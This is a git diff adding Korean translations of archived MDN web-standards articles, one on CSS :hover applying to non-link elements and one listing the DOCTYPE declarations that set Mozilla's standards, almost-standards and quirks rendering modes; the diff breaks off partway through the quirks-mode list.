+<h4 id=".EA.B0.9C.EB.B0.9C_.EB.8F.84.EA.B5.AC" name=".EA.B0.9C.EB.B0.9C_.EB.8F.84.EA.B5.AC"> 개발 도구 </h4>
+<ul><li> <a class="link-https" href="https://addons.mozilla.org/extensions/moreinfo.php?id=60&amp;application=firefox">Web Developer extension</a>
+</li><li> <a class="external" href="http://validator.w3.org/">Markup validation service (W3C)</a>
+</li><li> <a class="external" href="http://jigsaw.w3.org/css-validator/">CSS validation service (W3C)</a>
+</li></ul>
+<p><span class="alllinks"><a>모두 보기...</a></span>
+</p>
+<h4 id=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C" name=".EA.B4.80.EB.A0.A8_.EC.A3.BC.EC.A0.9C"> 관련 주제 </h4>
+<dl><dd> <a href="ko/CSS">CSS</a>, <a href="ko/DHTML">DHTML</a>, <a href="ko/HTML">HTML</a>, <a href="ko/Web_Development">Web Development</a>, <a href="ko/XHTML">XHTML</a>, <a href="ko/XML">XML</a>
+</dd></dl>
+</td></tr></tbody></table>
+<hr>
+<p><small></small></p><div class="note"><small><strong>주의:</strong> 1</small></div><small> - <a class="external" href="http://webstandards.org/">The Web Standards Project</a></small>
+<p></p><p><span class="comment">Categories</span>
+</p><p><span class="comment">Interwiki Language Links</span>
+</p><p><br>
+</p>
diff --git a/files/ko/archive/web_standards/issues_arising_from_arbitrary-element_hover/index.html b/files/ko/archive/web_standards/issues_arising_from_arbitrary-element_hover/index.html
new file mode 100644
index 0000000000..3d08aa525e
--- /dev/null
+++ b/files/ko/archive/web_standards/issues_arising_from_arbitrary-element_hover/index.html
@@ -0,0 +1,66 @@
+---
+title: Issues Arising From Arbitrary-Element hover
+slug: Archive/Web_Standards/Issues_Arising_From_Arbitrary-Element_hover
+tags:
+  - CSS
+translation_of: Archive/Web_Standards/Issues_Arising_From_Arbitrary-Element_hover
+---
+<p><span class="comment">Summary: Thanks to long-standing limitations, we're used to thinking of hover styles as applying only to hyperlinks, which has led to some sloppy authoring practices that are now causing problems for some Web sites. This technote explains the source of the problems and how to avoid encountering them.</span></p>
+<p>많은 저자들이 링크의 스타일을 위해서 CSS 슈도(pseudo)-클래스 <code>:hover</code>를 사용하고 있습니다. 처음 마이크로소프트 인터넷 익스플로러로 소개되고, 이후 CSS규약으로 받아들여진 이 혁신적인 클래스는 텍스트 링크를 스타일화 하는데, 특히, 자바스크립트로 구현되는 "롤오버(rollovers)"같은 모습과 작동을 하도록 하는 곳에 인기있게 사용되고 있습니다. 그러나 브라우저들에서 CSS지원의 이러한 향상은 몇몇 페이지에서 예기치않게 심한 호버링 현상(또는, 호버링시 반응, hovering behavior)을 야기해 왔습니다.</p>
+<h3 id="Hover_.EA.B7.B8.EB.A6.AC.EA.B3.A0_.EB.B9.84-.EB.A7.81.ED.81.AC_.EC.97.98.EB.A6.AC.EB.A8.BC.ED.8A.B8.EB.93.A4" name="Hover_.EA.B7.B8.EB.A6.AC.EA.B3.A0_.EB.B9.84-.EB.A7.81.ED.81.AC_.EC.97.98.EB.A6.AC.EB.A8.BC.ED.8A.B8.EB.93.A4">Hover 그리고 비-링크 엘리먼트들</h3>
+<p><a class="external" href="http://www.w3.org/TR/CSS2/selector.html#x36">Section 5.11.3 of CSS2</a>는 세개의 동적 슈도-클래스들(<code>:hover</code>, <code>:active</code>, 그리고 <code>:focus</code>)을 정의하고 다음과 같이 언급하고 있습니다:</p>
+<blockquote>
+ CSS 는 어떤 엘리먼트들에게 위의 상태들(states)이 허용될 수 있을 지 또 어떻게 각 상태에 진입하고 빠져나갈 수 있는지 정의하지 않는다. 스크립팅으로 엘리먼트들이 사용자 이벤트들에 반응할지, 안 할지를 변경할 수 있으며, 각각의 장치와 UA들은 각기 다른 방식으로 엘리먼트들을 가리키거나 또는 작동시킬 수 있다.</blockquote>
+<p>따라서, 저자들이 보통 이들 상태들이 배타적으로 하이퍼링크에만 적용되는 것으로 생각하지만, CSS2는 그렇게 한정지어 놓고 있지 않습니다. 어떤 엘리먼트도, 이론상, 위의 3 상태중의 하나가 될 수 있으며, 따라서 이 상태들에 근거해거 스타일 지워질 수 있습니다. 과거에는 이렇지 않았습니다.</p>
+<h3 id=".EC.88.9C.28bare.29_.EC.8A.88.EB.8F.84.28Pseudo.29-.ED.81.B4.EB.9E.98.EC.8A.A4" name=".EC.88.9C.28bare.29_.EC.8A.88.EB.8F.84.28Pseudo.29-.ED.81.B4.EB.9E.98.EC.8A.A4">순(bare) 슈도(Pseudo)-클래스</h3>
+<p>두번째 문제는 선별자내의 "순" 슈도-클래스의 효과를 고려할 때 생기게 됩니다. 예를 들면:</p>
+<pre>:hover {color: red;}</pre>
+<p>이것은 다음의 CSS2 규칙과 동등합니다:</p>
+<pre>*:hover {color: red;}</pre>
+<p>..이들은 "위에 마우스 포인터가 놓이게 되는(being hovered) 어떤 엘리먼트든 표면색(foreground color)으로 붉은색을 가져야만 한다"라고 옮길 수 있습니다. 따라서 문서내의 단락, 표, 표제어 그리고 다른 어떤 엘리먼트위로 (포인터가) 떠 있게 되면 텍스트가 붉은색이 되게 할 것입니다.</p>
+<p>흔한 변형예는 순 클래스와 hover 슈도-클래스를 다음과 같이 함께 사용하는 것입니다.</p>
+<pre>.nav:hover {color: red;}</pre>
+<p><code>class</code>값 <code>nav</code>의 인스턴스만이 하이퍼링크들에 적용되는 상황에선 아무 문제가 없을 것입니다. 그러나, 이 유형의 규칙들은 보통 아래와 같은 마크업(markup)과 결부되어 나타납니다.</p>
+<pre>&lt;td class="nav"&gt;
+&lt;a href="one.html" class="nav"&gt;one&lt;/a&gt; |
+&lt;a href="two.html" class="nav"&gt;two&lt;/a&gt; |
+&lt;a href="thr.html" class="nav"&gt;three&lt;/a&gt; |
+&lt;a href="fou.html" class="nav"&gt;four&lt;/a&gt;
+&lt;/td&gt;</pre>
+<p>둘러싸고 있는 표의 셀이 <code>nave</code> <code>class</code>를 가지고 있기때문에 사용자가 마우스 포인터를 표의 셀안의 어느 곳으로든 움직이게 되면 수직-바 문자들은 붉은 색이 될것이며, 링크들도 그들 위로 (포인터가) 떠다니게 되면 붉은 색으로 바뀔 것입니다.</p>
+<h3 id="Gecko_.EC.9E.91.EB.8F.99.EB.B0.A9.EC.8B.9D" name="Gecko_.EC.9E.91.EB.8F.99.EB.B0.A9.EC.8B.9D">Gecko 작동방식</h3>
+<p>20020410 이후의 넷스케이프 Gecko 빌드(넷스케이프 6.1+)에 기반을 둔 브라우저들에선, <code>:hover</code> 스타일이 문서안의 어느 엘리먼트에든 적용될 수 있습니다. 따라서, 순 슈도-클래스들을, 또는 순 클래스와 슈도-클래스의 조합을 사용해온 저자들은 hover 스타일이 링크들 이상으로 적용되어 보여질 위험이 있습니다. 가장 믿을 만한 수정안은 다음과 같이 선별자들에 앵커 엘리먼트를 더하는 것입니다.</p>
+<pre>a:hover {color: red;}
+a.nav:hover {color: red;}</pre>
+<p>레거시(legacy) 문서들에의 문제야기를 피하기 위해서, 모질라 1.0 과 그 이후 버전(넷스케이프 7+)에 기반한 브라우저들은 문서를 "특별(quirks)"모드로 렌더링할 경우 순 슈도-클래스들이 링크에만 한정되도록 하는 코드를 포함하고 있습니다. 모질라 1.3b와 그 이후 버전에서 발견되는 엔진에 기반을 둔 브라우저들에선, 이 특별 모드를 확장해서 순 클래스 선별자와 <code>:hover</code> 슈도-클래스를 조합하는 선별자들을 커버하도록 하고 있습니다.</p>
+<h3 id=".EC.9D.B4.EB.A6.84.EC.9D.B4_.EC.A3.BC.EC.96.B4.EC.A7.84_.EC.95.B5.EC.BB.A4_.EB.AC.B8.EC.A0.9C.EB.93.A4" name=".EC.9D.B4.EB.A6.84.EC.9D.B4_.EC.A3.BC.EC.96.B4.EC.A7.84_.EC.95.B5.EC.BB.A4_.EB.AC.B8.EC.A0.9C.EB.93.A4">이름이 주어진 앵커 문제들</h3>
+<p>위에 기술한 효과들에 더해서, 저자들이 예상치 못할 수 있는 두개의 다른 상대적으로 흔한 현상들이 있습니다. 하나는 validation으로 쉽게 고칠 수 있으나, 다른 문제는 좀더 까다롭습니다.</p>
+<p>첫번째로, 이름이 주어진 앵커를 열고서는 닫지 않는 저자로부터 문제가 생깁니다. 예를 들면:</p>
+<pre>&lt;a name="pagetop"&gt;
+&lt;h2&gt;My Page&lt;/h2&gt;</pre>
+<p><code>&lt;/a&gt;</code>없이 이 이름은 문서의 나머지 부분들 모두에 영향을 끼칠 것입니다. 더 일반적으로 말하자면, 문서의 나머지 부분들이 hover 스타일을 가지게 될 것이라는 것입니다. 다음 규칙의 효과를 생각해 보세요:</p>
+<pre>a:hover {color: red;}</pre>
+<p>닫히지 않은 이름이 주어진 앵커가 있는 문서에서, 앵커의 열린 택이후에 나오는 모든 텍스트는 (다른 CSS 규칙이 끼워들지 않는 한) 붉은 색이 될것입니다.</p>
+<p>이는 두번째 흔한 문제를 불러오는 데, 그것은 이름이 주어진 앵커들이 hover스타일을 허용할 수 있다는 것입니다. 비록 저자가 선별자 <code>a:hover</code>가 하이퍼링크에만 적용되도록 의도한다 해도,선별자는 이름이 주어진 앵커에도 적용될 것입니다. 왜냐하면 선별자가 단순히 hover 상태에 있는 모든 <code>a</code> 엘리먼트들을 스타일화 할 것을 선언하고 있기 때문입니다. 이 문제를 피하기 위해서, CSS2가 기술하고 있는 조합된 슈도-클래스 문법(the combined pseudo-class syntax)을 사용해야 합니다:</p>
+<pre>a:link:hover {color: red;}
+a:visited:hover {color: maroon;}</pre>
+<p>이 구문에서 링크들에 마우스가 놓여졌을 때 방문된 그리고 아직 방문하지 않은 링크들이 다르게 스타일화 될 수 있다는 점을 볼 수가 있습니다. 이것은 단순한 <code>a:hover</code>로는 불가능 했습니다. 물론, 선별자 <code>a:link:hover</code>는 오직 아직 방문하지 않은 링크에만 적용될 것입니다. 따라서, 같은 hover스타일이 방문된 그리고 아직 방문하지 않은 링크 모두에 적용되기를 원한다면, 두 선별자를 하나의 규칙으로 그룹지어 놓아야 합니다.</p>
+<h3 id=".EA.B6.8C.EA.B3.A0_.EC.82.AC.ED.95.AD" name=".EA.B6.8C.EA.B3.A0_.EC.82.AC.ED.95.AD">권고 사항</h3>
+<p>예상치 못한 문제들을 피하기 위해서 하이퍼링크에 적용될 동적-상태(dynamic-state) 슈도-클래스(pseudo-class) 내에 엘리먼트 이름을 포함시킬 것을
+ <i>
+  강력하게</i>
+ 권합니다. 더나아가, 슈도-클래스들을 조합하는 것은 호버(hover) 스타일이 비-하이퍼링크 앵커에 적용되는 것을 막아줍니다. 따라서, 단지 <code>:hover</code> 대신 항상 <code>a:hover</code>이 사용되어야 하며, <code>a:link:hover</code> (그리고 <code>a:visited:hover</code>)이 보다 단순한 a:hover보다 선호됩니다.</p>
+<h3 id=".EA.B4.80.EB.A0.A8_.EB.A7.81.ED.81.AC.EB.93.A4" name=".EA.B4.80.EB.A0.A8_.EB.A7.81.ED.81.AC.EB.93.A4">관련 링크들</h3>
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/CSS2/selector.html#x36">The dynamic pseudo-classes: :hover, :active, and :focus</a></li>
+</ul>
+<div class="originaldocinfo">
+ <h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+ <ul>
+  <li>Author(s): Eric A. Meyer, Netscape Communications</li>
+  <li>Last Updated Date: Published 07 Mar 2003; Revised 21 Mar 2003</li>
+  <li>Copyright Information: Copyright © 2001-2003 Netscape. All rights reserved.</li>
+  <li>Note: This reprinted article was originally part of the DevEdge site.</li>
+ </ul>
+</div>
+<p> </p>
diff --git a/files/ko/archive/web_standards/mozilla_s_doctype_sniffing/index.html b/files/ko/archive/web_standards/mozilla_s_doctype_sniffing/index.html
new file mode 100644
index 0000000000..a4d28b14ad
--- /dev/null
+++ b/files/ko/archive/web_standards/mozilla_s_doctype_sniffing/index.html
@@ -0,0 +1,141 @@
+---
+title: Mozilla's DOCTYPE sniffing
+slug: Archive/Web_Standards/Mozilla_s_DOCTYPE_sniffing
+tags:
+  - Web Development
+translation_of: Archive/Web_Standards/Mozilla_s_DOCTYPE_sniffing
+---
+<p>이 문서는 Mozilla가 strict 모드 대 <a href="ko/Mozilla's_Quirks_Mode">호환(quirks) 모드</a>를 결정하기 위해 DOCTYPE 선언을 쓰는 법을 기술합니다. 이를 결정하는 코드는 현재 <a href="https://dxr.mozilla.org/mozilla-central/source/parser/htmlparser/src/nsParser.cpp#833" rel="custom">nsParser.cpp의 DetermineParseMode()</a>에 있습니다. 모드 결정의 역사 일부는 <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1312" title='FIXED: "Standard" compatibility mode needs to be hooked to DOCTYPE'>bug 1312</a>와 <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=55264" title="FIXED: [DOCTYPE] Documents with unknown DOCTYPE should be displayed in strict mode">bug 55264</a>를 참조하세요. Mozilla 1.0 쯤에 새로 생긴 거의 표준(Almost-Standards) 모드는 <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=153032" title="FIXED: Implement almost-standards rendering mode">bug 153032</a>를 참조하세요. 다음이 이 행동(behavior)을 고르게 했던 목적들입니다:</p>
+<ul>
+ <li>바르게 표시되도록 호환 모드일 필요가 있는 현재 웹 상의 거의 모든 <code>text/html</code> 페이지는 호환 모드를 써서 표시되어야 합니다. (전부는 아니고
+  <i>
+   거의</i>
+  모두가 다음 목적 역시 고려해야 함.)</li>
+ <li>현재 표준에 따라 웹 페이지를 작성하는 제작자는 strict 모드를 일으킬 수 있어야 합니다.</li>
+ <li>장차 생길 DOCTYPE 선언에 공용 식별자를 써서 작성된 페이지는 strict 모드를 써서 표시되어야 합니다.</li>
+</ul>
+<p>바꿔 말하면, 이 알고리즘이 Mozilla가 웹에서 알려진 중요 사용자 에이전트가 된 뒤로 작성되었던 페이지를 결정하는 경우에 우리가 찾을 수 있는 가장 좋은 접근법입니다.</p>
+<h3 id=".EC.99.84.EC.A0.84_.ED.91.9C.EC.A4.80_.EB.AA.A8.EB.93.9C" name=".EC.99.84.EC.A0.84_.ED.91.9C.EC.A4.80_.EB.AA.A8.EB.93.9C">완전 표준 모드</h3>
+<p>다음이 완전 표준(full standards) 모드를 일으킵니다:</p>
+<ul>
+ <li><code>text/xml</code>, <code>application/xml</code>, 또는 <code>application/xhtml+xml</code>과 같은 XML MIME type으로 보낸 문서 (sniffing이 text/html로 보낸 문서에만 발생하기 때문에).</li>
+ <li>"DOCTYPE HTML PUBLIC"이 아닌 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+SYSTEM+%22http%3A%2F%2Fwww.w3.org%2FTR%2FREC-html40%2Fstrict.dtd%22%3E">"DOCTYPE HTML SYSTEM"</a>으로, 아래 언급된 IBM doctype은 뺌</li>
+ <li>DTD 없는 DOCTYPE 선언, 즉, <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML%3E">&lt;!DOCTYPE HTML&gt;</a>.</li>
+ <li><a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+%5B+%3C%21ELEMENT+TEST+-+-+%28P%29+%3E+%5D%3E+">internal subset</a> 있는 DOCTYPE 선언.</li>
+ <li>어떤 알려지지 않은 doctype으로 다음 (기술적으로 알려진) doctype을 포함합니다:
+  <ul>
+   <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+4.01%2F%2FEN%22%3E">"-//W3C//DTD HTML 4.01//EN"</a>.</li>
+   <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+4.0%2F%2FEN%22%3E">"-//W3C//DTD HTML 4.0//EN"</a>.</li>
+   <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+XHTML+1.0+Strict%2F%2FEN%22%3E">"-//W3C//DTD XHTML 1.0 Strict//EN"</a>.</li>
+   <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22ISO%2FIEC+15445:2000%2F%2FDTD+HyperText+Markup+Language%2F%2FEN%22%3E">"ISO/IEC 15445:2000//DTD HyperText Markup Language//EN"</a>.</li>
+   <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22ISO%2FIEC+15445:2000%2F%2FDTD+HTML%2F%2FEN%22%3E">"ISO/IEC 15445:2000//DTD HTML//EN"</a>.</li>
+   <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+i18n%2F%2FEN%22%3E">"-//IETF//DTD HTML i18n//EN"</a>.</li>
+  </ul>
+ </li>
+</ul>
+<h3 id=".EA.B1.B0.EC.9D.98_.ED.91.9C.EC.A4.80_.EB.AA.A8.EB.93.9C" name=".EA.B1.B0.EC.9D.98_.ED.91.9C.EC.A4.80_.EB.AA.A8.EB.93.9C">거의 표준 모드</h3>
+<p>다음은 거의 표준 모드를 일으킵니다. <a href="ko/Gecko's_%22Almost_Standards%22_Mode">거의 표준 모드</a>는 1.0과 1.1 알파 뒤지만, 1.0.1과 1.1 베타 앞에 만들었습니다. 거의 표준 모드가 생기기 전에 이 doctype은 완전 표준 모드를 일으켰습니다.</p>
+<ul>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+XHTML+1.0+Transitional%2F%2FEN%22%3E">"-//W3C//DTD XHTML 1.0 Transitional//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+XHTML+1.0+Frameset%2F%2FEN%22%3E">"-//W3C//DTD XHTML 1.0 Frameset//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+4.01+Transitional%2F%2FEN%22+%22http%3A%2F%2Fwww.w3.org%2FTR%2Fhtml4%2Floose.dtd%22%3E">"-//W3C//DTD HTML 4.01 Transitional//EN"</a>으로, 시스템 식별자 있음.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+4.01+Frameset%2F%2FEN%22+%22http%3A%2F%2Fwww.w3.org%2FTR%2Fhtml4%2Fframeset.dtd%22%3E">"-//W3C//DTD HTML 4.01 Frameset//EN"</a>으로, 시스템 식별자 있음.</li>
+</ul>
+<h3 id=".ED.98.B8.ED.99.98_.EB.AA.A8.EB.93.9C" name=".ED.98.B8.ED.99.98_.EB.AA.A8.EB.93.9C">호환 모드</h3>
+<p>다음은 호환 모드를 일으킵니다 (이 목록은 웹 상에 이미 존재하는 페이지가 호환 모드를 일으키게 하도록 포괄할 필요가 있습니다):</p>
+<p>이 목록 준비에 다음 사이트가 유용했습니다: <a class="external" href="http://validator.w3.org/sgml-lib/catalog">W3C HTML Validator</a>, <a class="external" href="http://www.htmlhelp.com/tools/validator/lib/catalog">HTMLHelp HTML Validator</a>.</p>
+<ul>
+ <li><a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=">DOCTYPE 없음</a>.</li>
+ <li><a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%3Fxml+version%3D%221.0%22%3F%3E">doctype 없는 XML 선언 (pseudo-PI)</a> (바꿔 말하면, XML 선언을 무시하고 DOCTYPE 사용). 1.0과 1.1 알파 이전에는 (하지만 1.0.1이나 1.1 베타에선 아님), XML 선언이 있으면 완전 표준 모드를 일으켰습니다.</li>
+ <li><a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+NOT+UNDERSTOOD%3E">이해할 수 없는</a> DOCTYPE 선언 (예, 일치하지 않는 따옴표).</li>
+ <li>시스템 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+html+SYSTEM+%22http%3A%2F%2Fwww.ibm.com%2Fdata%2Fdtd%2Fv11%2Fibmxhtml1-transitional.dtd%22%3E">"http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd"</a> (1.5b와 1.4.2 이전에, 이는 거의 표준 모드를 일으켰습니다).</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+4.01+Transitional%2F%2FEN%22%3E">"-//W3C//DTD HTML 4.01 Transitional//EN"</a>으로, 시스템 식별자 없음.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+4.01+Frameset%2F%2FEN%22%3E">"-//W3C//DTD HTML 4.01 Frameset//EN"</a>으로, 시스템 식별자 없음.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+4.0+Transitional%2F%2FEN%22%3E">"-//W3C//DTD HTML 4.0 Transitional//EN"</a> (<a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+4.0+Transitional%2F%2FEN%22+%22http%3A%2F%2Fwww.w3.org%2FTR%2FREC-html40%2Floose.dtd%22%3E">test with 시스템 식별자</a> 같이 보기).</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+4.0+Frameset%2F%2FEN%22%3E">"-//W3C//DTD HTML 4.0 Frameset//EN"</a> (<a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+4.0+Frameset%2F%2FEN%22+%22http%3A%2F%2Fwww.w3.org%2FTR%2FREC-html40%2Fframeset.dtd%22%3E">test with 시스템 식별자</a> 같이 보기).</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FSoftQuad+Software%2F%2FDTD+HoTMetaL+PRO+6.0::19990601::extensions+to+HTML+4.0%2F%2FEN%22%3E">"-//SoftQuad Software//DTD HoTMetaL PRO 6.0::19990601::extensions to HTML 4.0//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FSoftQuad%2F%2FDTD+HoTMetaL+PRO+4.0::19971010::extensions+to+HTML+4.0%2F%2FEN%22%3E">"-//SoftQuad//DTD HoTMetaL PRO 4.0::19971010::extensions to HTML 4.0//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML%2F%2FEN%2F%2F3.0%22%3E">"-//IETF//DTD HTML//EN//3.0"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3O%2F%2FDTD+W3+HTML+3.0%2F%2FEN%2F%2F%22%3E">"-//W3O//DTD W3 HTML 3.0//EN//"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3O%2F%2FDTD+W3+HTML+3.0%2F%2FEN%22%3E">"-//W3O//DTD W3 HTML 3.0//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/$ompat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3C%2F%2FDTD+HTML+3+1995-03-24%2F%2FEN%22%3E">"-//W3C//DTD HTML 3 1995-03-24//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+3.0%2F%2FEN%22%3E">"-//IETF//DTD HTML 3.0//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+3.0%2F%2FEN%2F%2F%22%3E">"-//IETF//DTD HTML 3.0//EN//"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+3%2F%2FEN%22%3E">"-//IETF//DTD HTML 3//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Level+3%2F%2FEN%22%3E">"-//IETF//DTD HTML Level 3//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Level+3%2F%2FEN%2F%2F3.0%22%3E">"-//IETF//DTD HTML Level 3//EN//3.0"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+3.2%2F%2FEN%22%3E">"-//IETF//DTD HTML 3.2//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FAdvaSoft+Ltd%2F%2FDTD+HTML+3.0+asWedit+%2B+extensions%2F%2FEN%22%3E">"-//AS//DTD HTML 3.0 asWedit + extensions//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FAdvaSoft+Ltd%2F%2FDTD+HTML+3.0+asWedit+%2B+extensions%2F%2FEN%22%3E">"-//AdvaSoft Ltd//DTD HTML 3.0 asWedit + extensions//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Strict%2F%2FEN%2F%2F3.0%22%3E">"-//IETF//DTD HTML Strict//EN//3.0"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FW3O%2F%2FDTD+W3+HTML+Strict+3.0%2F%2FEN%2F%2F%22%3E">"-//W3O//DTD W3 HTML Strict 3.0//EN//"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Strict+Level+3%2F%2FEN%22%3E">"-//IETF//DTD HTML Strict Level 3//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Strict+Level+3%2F%2FEN%2F%2F3.0%22%3E">"-//IETF//DTD HTML Strict Level 3//EN//3.0"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22HTML%22%3E">"HTML"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML%2F%2FEN%22%3E">"-//IETF//DTD HTML//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML%2F%2FEN%2F%2F2.0%22%3E">"-//IETF//DTD HTML//EN//2.0"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+2.0%2F%2FEN%22%3E">"-//IETF//DTD HTML 2.0//EN"</a>.</li>
+ <li>공용 식별자 <a class="external" href="http://dbaron.org/mozilla/tests/compat?doctype=%3C%21DOCTYPE+HTML+PUBLIC+%22-%2F%2FIETF%2F%2FDTD+HTML+Level+2%2F%2FEN%22%3E">"-//IETF//DTD HTML Level 2//EN"</a>.</li>
